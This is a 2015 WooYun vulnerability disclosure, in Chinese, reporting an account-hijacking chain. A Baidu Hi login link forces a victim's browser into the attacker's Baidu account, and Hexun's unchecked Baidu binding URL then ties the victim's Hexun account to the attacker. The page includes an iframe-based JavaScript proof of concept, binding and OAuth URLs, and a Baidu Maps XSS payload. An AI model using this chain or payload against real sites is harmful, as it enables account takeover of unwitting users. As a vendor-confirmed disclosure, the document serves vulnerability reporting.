当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134679

漏洞标题:利用百度一处小小的缺陷劫持其他网站帐号(以和讯网为例)

相关厂商:百度

漏洞作者: q601333824

提交时间:2015-08-17 12:34

修复时间:2015-10-01 15:32

公开时间:2015-10-01 15:32

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-17: 细节已通知厂商并且等待厂商处理中
2015-08-17: 厂商已经确认,细节仅向厂商公开
2015-08-27: 细节向核心白帽子及相关领域专家公开
2015-09-06: 细节向普通白帽子公开
2015-09-16: 细节向实习白帽子公开
2015-10-01: 细节向公众公开

简要描述:

其实原理差不多的,举一反三

详细说明:

1.这个漏洞的原理就是利用自己登录连接,在别人的电脑登录自己的帐号,然后再访问绑定帐号的连接
------------------------------------------------------------------------------------------------
2.其实故事是这样的,最近找了个工作,在公司当网管,公司要求用员工百度HI,于是我下载了一个百度HI,然后看到界面上有一个这样的一个按钮。

1.png


3.点击这个按钮,会打开自己的百度空间首页,于是我测试了一下,得到的答案就是,如果浏览器没有登录百度帐号,点击那个按钮会登录自己的百度帐号,比如我点击按钮,浏览器会先打开这个连接

2.png


--------------------------------------------------------------------------------------------------
4.于是我复制了这个连接,只要对方访问这个连接,就能在他的电脑上登录我的帐号了(注明:这个连接测试过了,不会受IP地址更换的影响,还有就是这个连接的有效时间为2分钟)

http://jump.im.baidu.com/jump.html?imver=4%2C7%2C1%2C2&langid=2052&goid=101&url=https%3A%2F%2Fpassport%2Ebaidu%2Ecom%2Flogm%3Ftpl%3Dhi%26cv%3D0%26cert%5Fid%3D1%26id%3D%25C2%25F4%25C3%25C8%25B5%25C4%25D6%25D0%25B6%25FE%26t%3D1439778839%26sauth%3Duo7tR6ysIo5%252Fvh%252FiF7ZSbJHTLa%252FnCgJmVUasw0NgXSHnRVKgwdRt7t7Mvj%252B6V6hCwmc%252BVTLSXXO2vydtVPPT0bOSFjQrtt3qgCEj6xc5vu54E5JyS6IzkT1sk6qRYB89qpXpN3NYwQ3OzX1Ew6ME%252FQcBzPQy0lKDlYQ1Yj4kt1U%253D%26u%3Dhttp%253A%252F%252Fhi%252Ebaidu%252Ecom%252Fsys%252Freg%253Fpspref%253Dimclient&loginid=%C2%F4%C3%C8%B5%C4%D6%D0%B6%FE&p=19000



5.之后又用浏览器的隐身模式测试,得到的结论就是,也不会受cook的影响

3.png


-----------------------------------------------------------------------------------------------------
6.到这里,已经一个条件找到了,就是在别人的电脑登录自己的帐号
-------------------------------------------------------------------------------------------
7.第二个就是别的网站的绑定问题了

4.png



8.我这里有两种方法绑定帐号
①.第一种方法:

7.png


得到连接

https://reg.hexun.com/bindbaidu.aspx?gourl=aHR0cDovL2hleHVuLmNvbS9uZXdob21lL3NldC9vcGVuaWQ=&fromhost=hexun.com


你以为这个?gourl这个参数有用?其实没什么软用,也就是说,我直接访问下面这个连接就能绑定上帐号了

https://reg.hexun.com/bindbaidu.aspx?gourl=11111111111111111111111111111111111=&fromhost=hexun.com


------------------------------------------------------------------------------------------------
②.第二个绑定连接就是,这个

http://openapi.baidu.com/oauth/2.0/authorize?response_type=code&client_id=x0jcd8PuoDCCrxGDxfmdaXRZ&redirect_uri=http://reg.hexun.com/bindBaidu.aspx&scope=super_msg&display=page&state=aHR0cDovL2hleHVuLmNvbS9uZXdob21lL3NldC9vcGVuaWQjLS0tI2hleHVuLmNvbSMtLS0jIy0tLSMjLS0tIw==


是这个页面的

8.png


其中参数
(1).client_id ,这个参数测试了很多次,好像是固定的,我自己的猜测就是对应该网站的
(2) state .这个参数测试过了,没什么软用,就算没有也能绑定成功,所以简化后的连接就是

http://openapi.baidu.com/oauth/2.0/authorize?response_type=code&client_id=x0jcd8PuoDCCrxGDxfmdaXRZ&redirect_uri=http://reg.hexun.com/bindBaidu.aspx&scope=super_msg&display=page


-----------------------------------------------------------------------------------------------
这个时候说不定就有人说了,绑定帐号的时候不会出现授权提示???,比如这种提示

8.png


没错,会出现,提示只有在百度帐号第一次绑定的时候才会出现提示,如果网站授权过了,之后再绑定帐号的时候就不会出现授权提示了

asdasdsa.png


------------------------------------------------------------------------------------------------------
9.所以根据上面两个功能结合一下

大概的利用方法就是,先给自己的百度帐号授权添加和讯网(这一步为了不出现授权提示),再利用百度HI,提取的登录连接,让对方访问,在对方的电脑登录自己的帐号,然后利用绑定帐号连接的小缺陷,就可以让对方的和讯网绑定上自己的百度帐号了,再利用快速登录登录对方的和讯网的帐号

https://reg.hexun.com/bindbaidu.aspx?gourl=11111111111111111111111111111111111=&fromhost=hexun.com


              或者

<code>http://openapi.baidu.com/oauth/2.0/authorize?response_type=code&client_id=x0jcd8PuoDCCrxGDxfmdaXRZ&redirect_uri=http://reg.hexun.com/bindBaidu.aspx&scope=super_msg&display=page

</code>
----------------------------------------------------------------------------------------------------

10。具体利用代码如下:

<script>
window.onload=function baidu(){
var src="xxxxxxxxxxxxx" ;//这里填写自己的百度帐号的
var e=document.createElement('iframe');e.setAttribute('src',src);document.body.appendChild(e);
alert("登录自己的百度帐号")
}
function bangding(){
var e=document.createElement('iframe');e.setAttribute('src',"http://openapi.baidu.com/oauth/2.0/authorize?
response_type=code&client_id=x0jcd8PuoDCCrxGDxfmdaXRZ&redirect_uri=http://reg.hexun.com/bindBaidu.aspx&scope=super_msg&display=page");document.body.appendChild(e); //这里填写和讯网的绑定百度帐号的连接,两个绑定连接随便选一个
alert(/绑定上他的和讯网的帐号,这样我就能用快速登录登录他的帐号了/)
}
setTimeout("bangding()",1000)
</script>


9.png


10.png


111.png


---------------------------------------------------------------------------------------------------------
11.另外就是百度地图XSS一枚,这个XSS这个时候去年提到过,同一个位置,同一个问题
WooYun: 百度地图持久形XSS漏洞

http://map.baidu.com/?newmap=1&shareurl=1&amp;force=newsample&l=12&tn=B_NORMAL_MAP&amp;c=13437606,3228420&amp;s=s%26da_src%3DsearchBox.button%26wd%3D96315%27onmouseover%253d%22alert(%2Fby:q601333824%2F)%22style%253d%22font-size%3A999px%22%26c%3D178%26src%3D0%26wd2%3D%26sug%3D0%26l%3D12%26from%3Dwebmap%26force%3Dnewsample%26sug_forward%3D


12.那个时候旧版的百度地图,出现的问题,没有对单引号过滤

9999.png


13.现在已经是新版的百度地图的,原来的问题,在新版又出现了,如果我猜的没错,你们把没修复前的代码修改了样式发布出来了???
--------------------------------------------------------------------------------------------------------
14.总结
百度地图XSS+登录连接在别人的电脑登录自己的百度帐号+和讯网绑定帐号的连接

15.足够劫持别人其他网站的帐号,虽然时间只有两分钟,但是对于会利用的人来说,足够了




漏洞证明:


1.漏洞证明看上面
2.

<code><script>
window.onload=function baidu(){
var src="xxxxxxxxxxxxx" ;//这里填写自己的百度帐号的
var e=document.createElement('iframe');e.setAttribute('src',src);document.body.appendChild(e);
alert("登录自己的百度帐号")
}
function bangding(){
var e=document.createElement('iframe');e.setAttribute('src',"http://openapi.baidu.com/oauth/2.0/authorize?
response_type=code&client_id=x0jcd8PuoDCCrxGDxfmdaXRZ&redirect_uri=http://reg.hexun.com/bindBaidu.aspx&scope=super_msg&display=page");document.body.appendChild(e); //这里填写和讯网的绑定百度帐号的连接,两个绑定连接随便选一个
alert(/绑定上他的和讯网的帐号,这样我就能用快速登录登录他的帐号了/)
}
setTimeout("bangding()",1000)
</script>

</code>

修复方案:


1.漏洞内容具体参考
WooYun: 新浪微博两处缺陷结合起来存在被他人利用的风险(只是谈谈这两个缺陷结合起来存在的风险)

WooYun: 利用QQ的一处小小的设计缺陷劫持其它网站用户帐号(以Discuz社区为例)
2.利用连接在对方的电脑登录自己的百度帐号,再访问网站绑定连接,就能绑定劫持对方的帐号了
3.再配合XSS的话,隐蔽性更高了
4.哥们,原来修复好的代码不拿来用,非要用旧的代码

版权声明:转载请注明来源 q601333824@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-08-17 15:31

厂商回复:

感谢提交

最新状态:

暂无